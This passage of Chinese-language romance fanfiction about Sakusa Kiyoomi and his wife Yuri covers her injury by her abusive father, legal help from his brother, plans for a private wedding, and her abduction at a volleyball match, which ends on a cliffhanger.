佐久早无视了她的问题:“吃东西了吗?” 由里不想他就这麽缺席训练,于是扯谎说:“吃了。” 但是她空荡荡的肚子在这时候叫了起来。 佐久早叹了口气。 他带由里回到车上,让她坐到副驾驶。把手里提着的袋子轻轻放到她腿上,里面是从便利店买的饭团、矿泉水和水果茶,水果茶似乎刚从保温柜里拿出来不久,还是温的。 佐久早大部分时候都是少言寡语,但此时此刻由里觉得他沉默过头了。她试图说点什麽缓和一下气氛:“臣臣,我以为你不愿意别人在你车上吃东西呢。” 佐久早什麽都没回答。他先把两瓶水都拧开了,然后开始仔细地打开饭团的外包装。 “我自己来就行,我的手没事,就只有这里受伤了而已。”由里指指她的额角。 佐久早头都没抬,不声不响地继续拆着,最后把饭团交到她手上才好好端详了她额头上的伤处。 楼管替她报警了,而警察送她去了医院急诊室。由里在警车上接受了警察的问询,那之后她才有时间发消息告诉佐久早自己不能回去吃饭了。佐久早是最后知道这个消息的人。 由里额角的伤口已经被包扎起来了,佐久早其实看不到伤得到底有多深,但是仅从纱布上也能看出上面渗出过不少血。 他的表情实在太沉重了,由里都有点害怕了。 “臣臣,那个男人现在已经被警察控制住了。现在是你重要的时候,你可千万别冲动。” 佐久早似乎在沉思着什麽,听到她这样说才点了点头,短促地“嗯”了一声。 由里想了一下,又指了指自己的脸颊:“我没光让他打我,我也打他了,他这里也被我打红了呢。” 佐久早还是没有任何表情,但是有眼泪从他的眼角径直滑落下来。 “怎麽哭了?”由里赶紧从车座里钻出来,手里还拿着他给的饭团无处安放。 原来真的有人的眼泪是一颗一颗的,像珍珠一样的——由里早就习惯了,其实并不觉得有多委屈,此时此刻比起伤心,她甚至在想她的爱人说不定在某一次转生的时候当过美人鱼。 她用指尖捏着饭团,小心翼翼地不让它掉下去也不让它蹭到佐久早,伸长手臂轻轻环住了他:“真的没事。” 佐久早又是好一段沉默,接着搂住了她的腰,他怕她的头撞到自己身上会碰到伤口,所以也只是点到为止地圈着她。 他在她耳边问,声音有点沙哑:“很疼吧?” 由里摇摇头,但是想到佐久早正抱着自己可能看不到,于是用没拿着东西的手轻轻摸了摸他脑后的卷发:“不疼,就这麽一点伤,早就没感觉了。” “都这样了还说不疼。”佐久早一向都是不喜形于色的,很快就平复了呼吸,他又这样待了一会,才松开手让她回到车里,“快吃吧。” 由里刚才经历了和她的倒霉爹的搏斗,又匆匆奔往医院处理伤口,都没顾得上感觉到饥饿,这会把饭团吃下去,倒是真的产生了一些食欲,她很快把第一个饭团吃完了。 佐久早就坐在她旁边,把另一个饭团也给她撕开了。 他问:“你知道他是怎麽找到你的吗?” 由里思索片刻:“嗯……我不太清楚,也许是因为最近我们结婚的新闻被他知道了,所以他按臣臣的日常路线找到了这里?” “我最近没有感觉到被尾随,按理说最近应该是比平时更小心的才对。” “那也有可能他跟踪了奶奶?奶奶不是前不久才来过家里吗?” “似乎有这种可能,等之后警方调查的时候拜托他们问讯吧。”佐久早继续问,“你知道他这次为什麽会来找你吗?” “应该是为了钱吧,他说了一些我傍上了大款之类的话。”由里一边吃一边回想着。 她往身边瞥了一眼,佐久早的眉毛嫌恶地拧紧了。 由里立刻开解道:“臣臣别生气啦,他那种人说什麽话都影响不到我了!” 佐久早的眉头展开了些,侧过身来看着她:“出了这样的事,我不是想要你来安慰我。” 由里吃着迟到的午餐,视线和他认真的眼神交错在一起。 虽然佐久早很容易给人留下不近人情的印象,但是他仿佛有自己独树一帜的情绪触角,很多时候对她的失落感都有很敏锐的感应。 在如此漫长的时间里能够坚持下来,由里不得不练就一些屏蔽负面信息的能力。只有告诉自己不去看不去听,把她所谓的父亲当成一个不存在的、和自己毫无关系的人,她才能把精力收回到自己的事情上。 可是现在佐久早真心地关心着她,出现在她身边只是为了替她分担一些被封锁多年的伤心、惶惑甚至恐惧。 她还在吃着东西,只好用手稍微遮住嘴巴含含糊糊地表达了自己的感动:“要是我能早一点认识臣臣就好了。” 佐久早撇了撇嘴:“你就不能吃完再说话吗?” 她的感动也戛然而止,但还是老老实实地吃完了才开口:“臣臣这就是你安慰别人的态度吗?你的温柔都超不过三句话的吗?” 佐久早沉默了一会,说出了他能说出的最好听的话:“我下次注意。” “开玩笑的啦。”由里笑了一下,她手里还握着他刚才塞过来的暖暖的果茶,怎麽可能有人真的为了一句话就生这样好的恋人的气呢。 “不要总是乱开玩笑,”佐久早把塑料袋拿起来让她把垃圾扔进去,“我下午要见一下真理,你可以和我一起去吗?” 由里一边吃一边问:“真理是?” 佐久早回答:“喔,我没有和你说过真理的名字啊。他是我的大哥,正在过来大阪的路上。” “那岂不是结婚之后第一次和臣臣的家人见面……”由里看了看后视镜里自己的额头,“我现在这样去见他会不会给他留下不好的第一印象啊?比如臣臣的新婚妻子喜欢和别人打架之类的?” “不是为了让你见他,如果只是为了见面打个招呼的话当然是你的意愿优先,”佐久早摇了摇头,“但是可以的话我希望你能去,因为我让他把他的律师请来了。” “是为了今天的事?臣臣的哥哥不是特别忙吗?”由里还深深记得之前真理没有过来就是因为他作为集团真正的掌权人有太多的公务要忙,不由得为此感到有些抱歉——为了这麽一件事就让他直接从东京总部折腾过来未免也太小题大做了。 “那个人都可以追到家里来伤害你,我总不能什麽都不做吧。”佐久早发动了汽车。 为了保证私密性,也为了能不让真理他们奔波,他们和真理约在大阪分部的会议室见面。 只在照片里见到过的佐久早真理先生就这样在现实世界出现了。他今天上午刚忙完其他的事务,直接穿着正式的西装就过来了。 和他文质彬彬的气质不同的是,他请来的律师山田先生倒是一位身材魁梧的男子,如果不提前说明的话由里几乎以为他是一位警察。 此时山田先生临时有电话要接,就先出去了。真理十分礼貌地同她问了好:“由里小姐,实在不好意思,其实我早就听家人说过你的事情了,但是因为我一直在各国出差都没能和你见面。” 他正式的口吻让由里情不自禁地紧张起来,她马上回答:“哪里哪里,今天能见到您已经非常荣幸了。” “圣臣已经和我说过了,您父亲的事情有任何需要法律援助的地方我们都会全力帮助的。等山田先生回来您可以和他商议后续的打算。” “这件事情实在是太感谢了。” “我们是家人,这都是我应该做的。” 就这样连续客气了几个来回,真理突然话锋一转。 “对了,其实我还有一件好奇的事情,只是问问,希望不要给由里小姐带来压力才好。” 由里一时不知道有什麽事情是能让对方这样的人来请教自己的,只是表示了自己将会知无不言:“您太客气啦,有什麽想知道的直接问我就好。” 真理笑了笑:“你和圣臣准备举办婚礼吗?目前有相中的日期吗?” 第34章 我喜欢被你麻烦。 突如其来的发问让由里有些手足无措。 他们没有讨论过婚礼的问题——一方面是从表白到结婚再到现在一共也没过多久,之前佐久早还遇到了舆论危机,现在他们的生活才刚刚恢复正轨,并没有来得及讨论未来的事,一方面是由里和佐久早都不是热衷于成为视觉中心的人,婚礼对他们而言算得上是有点压力的事情了。 还没等由里说出她的迂回话术,佐久早就打断了他们:“问这个干什麽?她都这样了当然是先养伤再说。” “问问怎麽了?”真理刚才对由里那种客气礼貌的语气荡然无存,“圣臣你可别因为不想见人就不跟人家办婚礼啊,哪有女生会不想要盛大的婚礼的?” 原来兄弟相见之后看面相无比文雅的真理先生也会流露出有点幼稚的一面啊,由里不禁笑了笑。 “少拿那些一概而论的腔调概括所有人,”佐久早同真理针锋相对,“更不要说得像你很了解她一样。” 臣臣这样说话的时候真的很帅,由里想着,但是出于礼貌她还是选择了拉架:“我真的怎麽样都没关系的,要不是因为今天的事情我也在忙一些工作上的事,不如等我们都闲下来的时候再好好商量吧。” 真理点头表示理解,他的语气在面对不同的两个人时无比跳跃:“由里小姐说得有道理,这是我的名片,如果由里小姐想办婚礼而他不答应的话,就马上联系我,我会过来收拾他的。” 由里立刻接过名片:“如果我们确定好婚礼日期的话一定会邀请真理先生的。” “邀请他干什麽?”佐久早嫌弃地说,“连真希都能做到进门洗手,只有他不能。” 真理对他的评价表示非常不满:“我一个人在海外奔波很辛苦啊,要是所有的细节都由我自己亲自处理那这个集团的事业能运行得下去吗?我遇到的问题又不是像你那样逛逛健身房就能解决的。” 排球的问题好像没办法在健身房里解决吧,真理先生好像不太关注体育赛事啊。由里小心翼翼地看了佐久早选手一眼。 佐久早还没说什麽,倒是真理先对由里说:“见笑了,由里小姐,我这个弟弟说话总是不看场合的。” 佐久早这回抓住了反击的把柄:“你不是说她和我们是一家人了吗?一家人说话还要看什麽场合?” 真理被他噎住了,只好说:“你这是求我帮忙的态度吗?” 由里再次紧张地看向佐久早,在心里设想情况愈演愈烈之后的对策。 佐久早却只是咬牙切齿地说了一句:“抱歉。” 这是由里第一次看到得理不饶人的佐久早选手做出这麽彻底的让步,而佐久早是为了她才这麽做的。 她赶紧把帮忙的事情揽回自己身上:“都是因为我才麻烦真理先生跑一趟,应该说是我求真理先生帮忙才对。” 真理充满赞许地看着她:“由里小姐你真是一位温柔的妻子,让我想起我和我太太刚结婚时的样子了。” 佐久早对他的感慨不屑一顾:“你和你太太不是商业联姻吗?你结婚之前天天在家里抱怨,现在这麽说是当我们那时候都是聋子吗?” 真理立刻反驳:“我那时候不了解她,我认识她之后马上就被她雷厉风行的处事风格折服了,我对她是有真正的爱情在的。” 佐久早白了他一眼:“那怎麽了?我喜欢上由里的时间比你喜欢上你太太的时间早多了,我才刚认识她就喜欢上她了。” 由里很小声地说:“有这种事吗?” 但两个如火如荼地为莫名其妙的原因争吵的男士完全没有注意到她的话,只是越吵越触及一些需要“看场合”的话题。 真理争辩道:“我那怎麽不算刚认识她就喜欢上她了呢?” 佐久早毫不客气地揭短:“刚认识她就喜欢她了你还跟她签一年离婚协议?” 这是什麽小说情节啊?臣臣的哥哥好像是一位各类元素俱全的真正的霸道总裁。 事关真理先生这样的集团总裁的隐私,由里赶紧扯扯佐久早的袖子:“臣臣,好像不是我可以听的内容了……真理先生,要不你们聊我先出去吧?” “不用!”真理说完才意识到自己对由里的语气有些激动了,调整到了相对温和的模式才继续对她说,“由里小姐你不要听他乱说,我和我太太现在没离婚,我们感情好得很。你也看到了,我弟弟就是这样的人,你和他在一起很不容易吧。” 由里摆摆手:“不……不会,臣臣很温柔的,对我特别好。” 真理总结了一下自己获得的信息:“妈妈说圣臣找了个特别溺爱他的女友的事情看来是真的,正如马太效应一般,爱总是流向不缺爱的人。” “似乎也不完全是这样,我应该算是个很缺爱的人……”由里只是把心里想的事情说了出来,但是这下刚才吵得热火朝天的两位都安静下来了。 真理也知道,自己今天之所以到这里,就是因为由里的亲生父亲找上门来把她打得头破血流。 由里的本意不是把话题引向自己的伤心事上,一时间有点尴尬,赶紧解释说:“我的意思是我现在已经比以前好多了,有亲人帮助我,认识了朋友,还有和臣臣在一起之后,臣臣和臣臣的家人们都这麽照顾我。” 真理的脸上并没有事不关己也没有同情可怜,只是一脸感动地点了点头:“放心吧,我们现在就来商量怎麽收拾那个男人。” 语毕,山田先生处理过自己的事务进来了。真理主动询问了需不需要留点时间让山田和由里单独讨论案件的事,然后他们兄弟两人一起d出去了。 这位在法庭上仿佛可以以气势取胜的彪形大汉十分可靠地向由里打了招呼:“让您久等了,远藤小姐,这次来得比较突然,有些工作是在旅途中才交待下去的,所以花了一些时间沟通。” “哪里?本来就是我麻烦您临时跑一趟。” “我已经大致了解了情况,远藤小姐目前的打算是怎麽样的呢?” “我希望他能受到法律应有的惩罚,我不会选择和解。” “我明白。这次的验伤报告医院应该已经帮您开具了,可以在开庭时作为证据。但我还有一件想确认的事情,能做到这种程度的父亲恐怕不止有过一次这类的恶性事件吧,您在和他断联之前是否有保存过其他的证据呢?” 她还真的有。 由里在高中的时候选择了寄宿,除了假期不得不回家,其他的时候算是躲过了要跟她的父亲共处的时日。至于不得不忍受父亲发疯的时间,虽然当时没有人教她留存证据,但是她并没有放弃查找办法,最终她采取了最隐蔽的一种方式,就是录音。 她有时候会被限制通信,所以不能使用手机来录音,有可能会被发现,有可能会被删除。帮助她留存这一切的是一支夹在衣服内侧的,小小的录音笔。 除了这次的恶意攻击,那些难以搜索证据的时间也有了能证明它们存在过的东西,幸好她这样做了。 山田先生详细指点了她哪些证据是可以提供给警方辅助调查的,并表示一定会全力跟进这个案子。这天他和真理还有其他的事务要处理,所以用最高效的方式进行了沟通之后就一起回去了。 佐久早也带着由里回家,他今天只请了下午的假,在由里的强烈要求下他同意了剩下的时间会立刻赶到俱乐部,但是前提是他要亲自送由里回到家里才行。 “我觉得有很多你的事情我现在还是不知道。”佐久早无端地说。 他的语气听起来可以说是有些沮丧,由里不明白这种失落感来自于何处,或许是今天知道了自己过去的伤疤,所以心情不好? 她试着宽慰他:“臣臣的很多事情我也是慢慢才知道的,虽然我们很快就确定了心意,但是在我们认识之前还有那麽长时间的人生呢,会需要时间慢慢了解对方也很正常呀。” 佐久早摇摇头:“可是这次出了这样的事情,你也没有马上告诉我。” 她解释道:“我不是故意隐瞒的,当时确实有事情要做嘛,而且臣臣还有训练呢。” “我不是在怪你,我只是……想成为更可靠的恋人。” 由里侧过脸看着佐久早,他开着车,阳光随着车的位移从他的脸上经过。 他说:“我在想,如果你需要帮助的时候能马上想到我就好了。” 由里愣了愣:“臣臣愿意帮忙当然好啦,但是我觉得自己也能解决的事情没必要麻烦你。” “我不觉得麻烦。”佐久早说。 “如果总是这样的话多少也会有点麻烦的吧,臣臣也有自己的事情要做。” 路灯变成了红色,佐久早缓缓停下了车——他开车一直都很稳,这一点也让由里十分佩服。 他想了想,转过头来看着由里:“我喜欢被你麻烦。” 他还在继续解释着自己的话:“这样会让我觉得我是被你所信赖的人,是可以帮到你的人,我会觉得我们之间更有连接感,所以……” 真想亲他一下。 由里觉得自己不是在这次对视中唯一产生了这种冲动的人。 因为佐久早的话戛然而止。他也向她靠近了。 后车的方向传来了鸣笛声。 原来路灯在这时候变成了绿色。人的确不应该在尚未停稳车的时候接吻。 由里飞快地啄了一口他的嘴角,两人都端坐回了自己的座位上。 第35章 婚礼……你有什麽想法吗? 佐久早松开刹车,很快就恢复了刚才平稳的驾驶。 两个人沉默了一会,他又问:“对了,今天真理说的那个……婚礼的事情,你有什麽想法吗?” 想到刚才他们为了这件事展开的争论,由里笑了一下:“我还以为臣臣会不喜欢那种场合。” 佐久早皱了皱眉:“确实不太喜欢,那麽多人一起挤在一个封闭空间里,要和所有的人打招呼,忍受他们的飞沫,还要一直被围观,怎麽想都很不舒服。” 这完全就是佐久早的风格,一点也不令人意外。由里说:“臣臣果然是这麽想的。” 佐久早转动方向盘拐了个弯:“但是如果你喜欢的话,我当然愿意办,婚礼不是整个人生中只会有一次的事情吗?我也不是一点都不能忍受的。” “我其实也没什麽期待……”由里坦诚道,“不是说我不期待和臣臣在一起的意思,但是婚礼不是有那种爸爸牵着女儿送到新郎手里的环节吗?因为这一点我从小就很讨厌婚礼。” 佐久早的嫌恶立刻就摆在脸上了:“他确实不配和你分享这种时刻。” 由里点点头:“对吧?他根本就没有管过我,凭什麽可以像我是他的所有物那样把我交给别人啊?而且,就算结婚了,我也不是……” 她有点不知道该不该说下去了,这是一件理所当然的事情,但是说出来会不会有点伤感情? 反而是佐久早替她接了下去:“也不是我的所有物?” “嗯,这并不代表我不喜欢臣臣,你知道对吧?” “当然,”佐久早回答,“本来就是这样,没有什麽不能说的。” “但是臣臣不会觉得有时候应该为了浪漫的气氛说一些好话吗?” “你看我像这样的人吗?” 由里想了想:“嗯——臣臣说话确实一点都不看气氛呢。” 佐久早瘪了瘪嘴:“这是什麽话,如果你真的特别想要听假话的话……我也可以对你说啊。” 由里立刻凑到他身边:“真的吗?那臣臣说你是我的。” 佐久早深吸了一口气。 良久,他郑重地说:“我在开车呢。” 由里只是逗逗他而已,盯着他一脸严肃的样子立刻就笑出来了。 她本来也没想让佐久早说——她自己也是一个能做到什麽程度就承诺到什麽程度的人,并不习惯于为了暧昧的气氛夸大自己的感受。而且她又不是第一天认识佐久早,她早就知道他是什麽样的人,比起一句好听的话,她更在意的是佐久早本身。 幸运的是,他也是这样想的。 佐久早试图把对话拉回刚才的话题:“这麽一说,通常意义上的婚礼对我们两个都不好。” “是呀,所以就算没有也……”由里说着说着就陷入了沉思。 佐久早不知道为什麽她突然不说了,有点奇怪地问:“怎麽了?” 由里分享了从她脑海里跳出来的新点子:“如果是只有我们两个的,不需要按照通常的流程来完成的婚礼呢?” “听起来还不错。”佐久早表示了认可。 “对吧?这样我们不喜欢的环节就全都可以省略了。而且如果只有我们两个的话,可以不需要去礼堂或者宴会厅,想要在任何地方举行都很方便。” 他笑了笑:“话是这麽说,你不会最后因为懒得出门只想在卧室穿着睡衣举办吧?” “那样也太夸张了吧!虽然不喜欢传统意义上的仪式,但是我还是很有仪式感的!”由里立刻表示了否认,以示诚意她开始挑选城市,“臣臣这些年不是去过很多国家和城市了吗?有没有很喜欢的地方?” 他们驶入了停车场,佐久早要开始停车了,为了回答这个问题他在车位前踩住刹车回想了几秒:“每次出门基本都是在比赛,我其实没有对哪个城市留下过特殊的印象。” “我的话没有去过很多地方所以也差不多……不过这样可以选择的地方就特别多了!我们可以慢慢选。” “嗯,等你的伤好了,天气变暖的时候,我们就去办只有我们两个人的婚礼吧。”佐久早停好车,陪她一起上楼回家去了。 虽然由里父亲已经被拘留了,佐久早也把所有能做的事情都为她做到最好了,但是由里还是有种淡淡的隐忧。 她的父亲只是一个无所事事的酒鬼,他能读到由里新婚的新闻并不奇怪,认为她有钱了想来要钱的动机也还算说得过去,可是他一个并不具备任何追踪技术的人,这麽多年没有由里的消息,到底是为什麽能找到这里来的呢? 由里翻看了这几天楼道里的监控录像,并没有发现任何异常——她爸爸应该是没有成功上楼过的,因为会被楼管拦住确认身份信息,而且如果他有能力蒙混过关的话,也不会只是堵在楼门口等她了。 也就是说,她爸爸有一定的可能性并不知道他们具体住在哪户,楼道里反常的标记也大概率和她爸爸没有关系。 接下来,她去找了楼管,询问能不能调取最近的监控看看。 楼管的答复是警察已经调过监控了,但最近一段时间她爸爸就只出现过今天这一次,而且确实没有进入过这栋楼的记录。 所以他之前有可能甚至都没有来过,今天是他第一次过来。 早上佐久早休假,没有去俱乐部,他肯定也不可能是通过在公开的地址尾随佐久早找到这里的了。 她回到家,想了想,实在想不通是怎麽回事,于是还是给奶奶打了电话。 “奶奶,爸爸来找过你吗?” “没有啊,我都多少年没跟他见过面了,他怎* 麽会来找我?”奶奶提起这个儿子就来气,但很快反应过来有些不对,“为什麽突然问我这个?他联系你了?” 由里怕奶奶担心,拿出了自己提前想好的托词:“因为我最近和臣臣结婚不是上新闻了吗?我害怕他看到之后来找你问我的事情,那样的话奶奶那边不是会很麻烦吗?” 奶奶却根本不吃这套:“你都结婚多久了才想起来问这个,你跟我说实话,他是不是已经找过你了?” 虽然奶奶一个人过着独居山林的清静日子,但是果然什麽都瞒不过她,说到这个地步再瞒下去倒是平白惹老人胡思乱想了。由里只好承认了事实:“是。” 奶奶的火气一下就上来了:“他这个混蛋想干什麽?” “应该是想要钱吧,他现在已经被抓起来了——他打了我,但是我现在已经处理好了。”由里简单地概述过后也迅速交代了自己的情况。 但奶奶还是难免变得十分担忧:“他打了你?什麽时候的事。” 她实话实说:“就今天。” “今天的事你就处理好了?”奶奶似乎站起了身,因为她那边发出了衣服摩擦的声音,“我要坐今晚的车过去找你。” 由里自然是劝她安心:“不用不用,真的没事,伤口已经包扎过了,不严重的。臣臣和他的家人帮我找了很厉害的律师,我也递交了很多证据,不会有什麽问题的。” “他在这种时候倒是靠得住,可是……”奶奶还想继续说。 由里试图把话题拉回正轨:“奶奶,我这次打电话是有要紧的事想确认一下。” “什麽事?” 由里问:“你确定他没来找过你,也没有跟踪你的可能是吗?” 奶奶回答:“我们这麽小的地方他要是真来了不可能没人知道的。” “这就奇怪了,他为什麽能找到我呢?” 由里安抚了奶奶,挂断了电话,她这边一无所获,只好寄希望于警察那边能够撬开她爸爸的嘴,得到这个问题的答案了。 她继续拨打电话,把同样的问题向警方复述了一次。 接电话的人是今天和她见过的女警,她回答说已经帮她确认过这个问题。 “他有说是因为什麽吗?” “远藤小姐,这件事情我想当面跟你确认,你现在伤势如何?可以接受后续的调查吗?” “可以的。” 由里给佐久早发了条信息说明了情况,接着两位警察来到了她家里。 “远藤小姐是从什麽时候开始和您父亲切断联系的呢?” “是五年前的四月,升学的时候。” “在那之后您就没有再以任何形式给他发过信息了吗?” “是的。” “在这件事情之前您并没有和他联系过吗?” “没有联系过。” “那您见过这条短信吗?” 女警给由里展示了一条手机短信,信息的内容很简单,大意是自己和有钱的国手结婚了,告诉了他现居地的地址。 署名是她的全名远藤由里。 她愣了一下,摇了摇头:“这不是我发的,我平时发信息并不是这样的语气和格式,您可以验证的。而且我也不会这样称呼我丈夫,这很不尊重。” “我们看到今天的情况,也是这样想的,或许您对发信息的号码有印象吗?” 她留意了一下这个号码,但是这是一个虚拟号码,她完全没有见过。 “我了解了,如果您后续有想到什麽有关的信息可以联系我们。” 由里向两位警官道别,如同之前一样把最新的进展发消息更新给了佐久早。 恶作剧吗?在她认识的人里似乎没有人会这样做啊? 第36章 由里的脑后传来一阵钝痛。 “你的意思是,有人以你的名义把我们的地址透露给了他?”佐久早结束了训练回到家,第一件事就是提起愈发离奇的案件。 “从警方提供的短信来看,是这样的。”由里也百思不得其解。 “你有什麽怀疑的对象吗?”佐久早问。 他刚从外面回来,手好像有点冷,于是由里把一杯热的大麦茶递给他。 由里摇摇头:“完全没有……知道我家里的事情的人不多,而且我整个大学需要填写家庭住址的时候都没有填过我爸爸那边,需要提交家人联系方式的时候也都没有填过他,就算知道我的家庭情况的人也很难通过一般的方式找到他的。” 佐久早的眉头皱了起来:“那会不会有人用非法的手段去调查了这些事情呢?” 由里不是没想过这个可能,但是她实在理解不了任何一个认识的人会对自己暗藏这样严重的恶意。 “虽然目前看起来这样的可能性是最大的,但是我想不到谁会为了让我陷入窘境费这麽大的心思,我学生时代大部分时间都在打工或者做自己的事情,没有和任何人交恶过。” 佐久早也只能沉默了,根据常理来看,她说得一点没错,但正因如此,线索也彻底断在了这里。 最后他从其他角度切入进行了提议:“最近你要出去的时候我请一位保镖吧?” 由里犹豫了一下:“这件事情应该到这里就结束了吧?就算真的有想通过家庭关系的事情在暗中攻击我的人,我爸爸都被逮捕了,对方也没办法再对我怎麽样了。” 佐久早还是忧心忡忡:“可是我们毕竟不知道是谁做的,为了防止对方还有后续行动还是留心一点吧。” 由里今天已经受伤了一次,也确实不应该再大意了,她最后同意了这个提议。 佐久早直接向家里借调了一位保镖,是平时担任惠子的安保工作的保镖安部先生。佐久早替他安排了临近小区的住处,所有由里需要出门的场合他都会陪同,包括她需要陪佐久早一起去外地比赛的时候。 不知道是因为事情本就到此为止了,还是安部先生的保护真的威慑到了想对由里图谋不轨的人,这段时间没有再发生任何特殊情况了。 由里大部分时候还是在坚持画画。她对于工作的响应一向很快,编辑对她的进度也很放心,听说她最近受伤的事情就立刻建议她将线下会面转为在线会议了,所以她不再需要前往出版社,只需要安心养伤就好。 小雪知道了她的伤情来看望过她两次。由里家里的事情小雪是知道的,除了一些细节她不愿意给朋友造成情绪负担所以没有提及,大体上的情况小雪都听她说过。 她知道由里的爸爸就这样跑来找她也很生气:“他怎麽能那样说你?他自己才是毁了这个家的人,现在还反过来怪你?” 由里有再多的恶心也都在当时就发泄出来了,现在更多是因为朋友对自己的维护而感动,所以她只是在旁附和,并没有继续渲染当时的情景。 “他还敢说你傍大款,他就是见不得你过得比他好。你本来就是要跟佐久早选手这样又帅又有钱又厉害的男人在一起才最合适!”小雪继续义愤填膺地输出着,“他呢?要是他能傍得上他肯定第一个去,以前靠母父现在又想靠妻子和女儿,可是有人要他吗?” 说到这里,她停顿了一下:“我不是故意提起那个……女士的。” 由里摆摆手:“没事呀,我和她从之前那次见面之后也没有再联系过了,是我主动提出来的。” 小雪问:“她知道你结婚的事情了吗?” 由里回答:“应该知道了吧,就算她没有看到新闻,我们的编辑是同一个人,这麽小的交际圈很难不被她知道。” 她又有点小心地问:“那这次的事情也是?” “这次我没告诉樱小路编辑我受伤是因为我爸爸,只说了是因为摔破了头。”由里说,“如果他也找到了我妈妈,我确实有必要提醒一下她,但是现在他都被捕了,我也没有必要为了这件事去联系她了。” “由里酱居然还想着要提醒她注意安全啊……” 由里指了指自己额头的纱布:“如果是这种程度的话,换做你你也会这麽做的——不是说真的要换成你的意思。” “但是我还是觉得你人真的太好了——对了对了,我这次路过学校门口的时候去那家店买了苹果酥,给你!” 和朋友共度的休息时间在繁忙的赶稿日和无趣的养伤时光中让由里的心情好多了。 当然,和她的爱人真正展开的恋爱时光也为她找回生活步调作出了很大的贡献。 由里正在倒一杯水,佐久早突然叫了她一声。 “由里。” “嗯?” 佐久早修长的双臂从她的腰间滑过来,把她环抱在了怀里。 佐久早最近担心正面拥抱她的时候碰到她的伤口,所以总是从背后抱住她。 但是佐久早做什麽事情的声音都很小,走路的时候也像猫一样安静。如果他在一片寂静中突然抱住她,有可能会吓到她,所以他每次靠近都会叫她的名字。 佐久早轻轻把下巴贴在她肩上:“明天又要和AD比赛了。” 由里现在已经知道了,AD有很多佐久早在国家队的队友,是非常强劲的队伍,其中更有佐久早最看重的对手。 她把属于自己的水杯轻轻放下,给佐久早的水杯也倒了水——他才刚回家不久,由里感觉他可能也会想要补充水分:“臣臣比赛之前也会紧张吗?” “与其说是紧张,不如说任何重要的事情开始之前,我都会控制不住地一直思考相关的事物。” 由里表示理解:“因为臣臣是希望万事都可以提前做好准备的类型嘛……不过赛场上是瞬息万变的,就算有预料之外的事情发生,我相信臣臣也一定有能力去应对。” 佐久早说:“说得就好像你是教练一样。” 这是什麽话?由里从他怀里转过身来面对着他:“我只是真心地在表达对臣臣的认可!臣臣不要一害羞就变得阴阳怪气了!” 佐久早稍微松开了些让她能跟自己错开身,但双手仍然留在她腰后,看起来很真诚:“我也是在表达对你的认可啊,觉得你说得很好才这样说的。” 由里愣了一下,不可思议的表情顿时在她脸上浮现:“臣臣原来会说夸奖别人的话啊。” “我以前不是也说过吗?” 这一幕怎麽有点熟悉,由里不禁提起了往事:“我也经常夸臣臣长得帅,可是臣臣之前也说我没有夸过。” 佐久早用手指卷着她的发尾玩:“那我们正好扯平了。” 由里对这个回答并不满意:“还没扯平呢,臣臣也要说出我的优点……嗯……至少三个。” 佐久早“喔”了一声,垂首向她靠近了。 她立刻捂住了佐久早的嘴:“臣臣你是一个正人君子不能靠出卖色相蒙混过关的!” 但佐久早只是笑着,鼻息轻轻碰到她的手——他拿起了放在她身后的水杯:“我渴了,想喝点水再说。” 他明明就是故意的! “三个会不会太少了?”他喝着水问。 你看,一个人总是很难真正地生佐久早圣臣的气。 佐久早很快就放下了杯子——毕竟这本来就是他拿来虚晃一枪用的——然后他宣读了他的答案: “你是善良的,坚韧的,不受束缚的我的爱人。” 佐久早总是能说出这样的话,音量不大但掷地有声。 由里有点不好意思:“这好像是在漫画故事里才能看到的对白啊。” 佐久早看着她,思索了一会,然后给了她来自他的解释:“现在你也身处在一个好故事之中了,所以你也可以听到这样的对白。” “臣臣我真的最最喜欢你……啊!”由里试图给他一个拥抱,但最终还是撞到了头。 佐久早也瞬间从恋爱漫画一般的情节里脱身,化身成了安全教育片的一份子:“还好吗?我就说了还是从后面抱比较好的。” 这次去东京也有安部先生陪同着由里一起,当然,早上他陪伴的其实是从由里的身体里苏醒过来的佐久早。 他们直接拜托安部先生开来了一辆车,这样就可以在车里接吻互换了,可以免除很多不必要的麻烦。 “我们之前为什麽不这样做啊?” “之前家里也不知道我们的事情,如果要租车就需要你去开,你会开吗?” 由里大学的时候认为自己距离买得起车还十分遥远,所以当然没有花时间去学习开车,至今还没有驾照。 “臣臣去开好像也可以。” “可是在你身体里的时候我是一个没有驾照的人。” “对喔!”由里好像现在才想到一样,“幸好现在有臣臣的家人和安部先生帮忙,等连载的事情稳定下来我也去学一下开车吧?” “那我就期待着了,晚上见。” 他们没有在一起待很久,因为佐久早得去为今天的比赛做准备了。 佐久早邀请了由里来现场看这场他非常看重的比赛,由里当然也毫不犹豫地答应了,晚上她早早就来到了观众席。 一位工作人员叫住了她:“请问是远藤由里小姐吗?” 她点点头:“是的。” 工作人员向她指了指远处的一个位置:“佐久早先生有事情想请您去一下候场区,您能跟我来一下吗?” “他有事情找我?”佐久早从来都没有在赛时要由里去过后台,由里不想影响他的状态让他忙于照顾自己,所以也从来都没有要求过。如此着急会不会是真的有什麽要紧的事情呢?由里不禁有点担心。 她看了一下安部先生:“我现在过去一下。” 安部先生立刻起身和她一起前往,但是到了工作区的门口却被拦住了。 工作人员抱歉地说:“先生,我们的证件有限,一次只能带一位进去,您看您在这里稍等片刻我再回来接您可以吗?” 由里对安部说:“里面有臣臣在没关系的,那就麻烦您在这里等我吧。” 她跟着工作人员拐过弯,被带到了一个会客室一样的房间里。 工作人员示意她可以在里面等一会,他会去叫佐久早过来。由里点点头,进入了这个房间。 然后,一声闷响在她耳边爆炸开来。 由里的脑后传来一阵钝痛,她眼前一黑,立刻倒了下去。 第37章 你根本就不配评价他! 由里从混沌中睁开了眼,发现自己在一片漆黑中。 她试图动一动,但发现自己的双手被反绑在背后,双腿也被绑住了。她低下头查看自己的情况,但由于太黑看得不太清楚,经过一番触碰她才确定了自己是被宽胶带绑起来的。 她应该是被人打晕后带到这里来的——她本来就在养额前的伤,现在脑后也疼得不得了。 而且从身体的感受来看,现在这个黑漆漆的封闭空间是移动着的,她很可能是在一辆行驶中的货车上。 由里试着摸了一下自己的裤兜,手机还在里面。也许绑架她的人行事匆忙,没来得及把她的东西收走。 还有希望。她按亮了手机,试图凭借感觉解锁来报警。为了刚才的比赛,她的手机静音了,所以此时此刻按到按键上一点声音都没有,她完全无法判断自己有没有按到正确的位置,因此花了一点时间才听到微弱的电话声响起。 拜托让她拨通到正确的号码吧。 但或许是密闭空间的缘故,也有可能和这里的位置有关,电话因为信号太弱自动挂断了。 她叹了口气,想至少借助手机的光打量一下四周有没有什麽可以用来自救的工具,但货车在这时停下了。 